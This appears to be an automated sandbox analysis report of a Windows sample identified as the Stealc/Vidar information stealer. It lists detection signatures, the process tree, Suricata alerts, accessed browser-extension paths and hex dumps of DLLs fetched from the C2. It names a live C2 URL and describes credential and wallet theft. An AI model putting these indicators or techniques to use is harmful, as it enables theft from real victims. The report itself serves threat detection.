Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1544234
MD5:	82ffb0d94c7f912b03d1feee6f614605
SHA1:	f84ef7a098210160537648584909d6cd4f7cb6cb
SHA256:	1f4559c2464e25078e6f0ae6b99990b6607c5adc0d631d43ba380ae7de51f0c1
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7420 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 82FFB0D94C7F912B03D1FEEE6F614605)

chrome.exe (PID: 7644 cmdline: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7904 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2500 --field-trial-handle=2432,i,10837436430540024699,4376489110652293416,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: Vidar

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1730489786.0000000004C50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2082345429.000000000119E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2080967365.0000000000351000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2082345429.0000000001213000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7420	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7420	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7420	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7420	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.350000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7420, ParentProcessName: file.exe, ProcessCommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7644, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T04:52:07.790173+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49730	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T04:52:07.783015+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T04:52:08.079850+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T04:52:09.216604+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T04:52:08.087573+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49730	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T04:52:07.496390+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T04:52:09.823361+0100	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-29T04:52:26.857259+0100	2803304	3	Unknown Traffic	192.168.2.4	49760	185.215.113.206	80	TCP
2024-10-29T04:52:28.726749+0100	2803304	3	Unknown Traffic	192.168.2.4	49760	185.215.113.206	80	TCP
2024-10-29T04:52:29.788883+0100	2803304	3	Unknown Traffic	192.168.2.4	49760	185.215.113.206	80	TCP
2024-10-29T04:52:30.875899+0100	2803304	3	Unknown Traffic	192.168.2.4	49760	185.215.113.206	80	TCP
2024-10-29T04:52:33.404487+0100	2803304	3	Unknown Traffic	192.168.2.4	49760	185.215.113.206	80	TCP
2024-10-29T04:52:34.054294+0100	2803304	3	Unknown Traffic	192.168.2.4	49760	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 0.2.file.exe.350000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 0.2.file.exe.350000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 47%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C516C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C516C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.4:50019 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2101203406.000000006C73F000.00000002.00000001.01000000.00000010.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000003.1730489786.0000000004C7B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2101541267.000000006C801000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2080967365.000000000037C000.00000040.00000001.01000000.00000003.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000003.1730489786.0000000004C7B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2101541267.000000006C801000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2080967365.000000000037C000.00000040.00000001.01000000.00000003.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2101203406.000000006C73F000.00000002.00000001.01000000.00000010.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 8MB later: 41MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49730 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 03:52:09 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 03:52:26 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 03:52:28 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
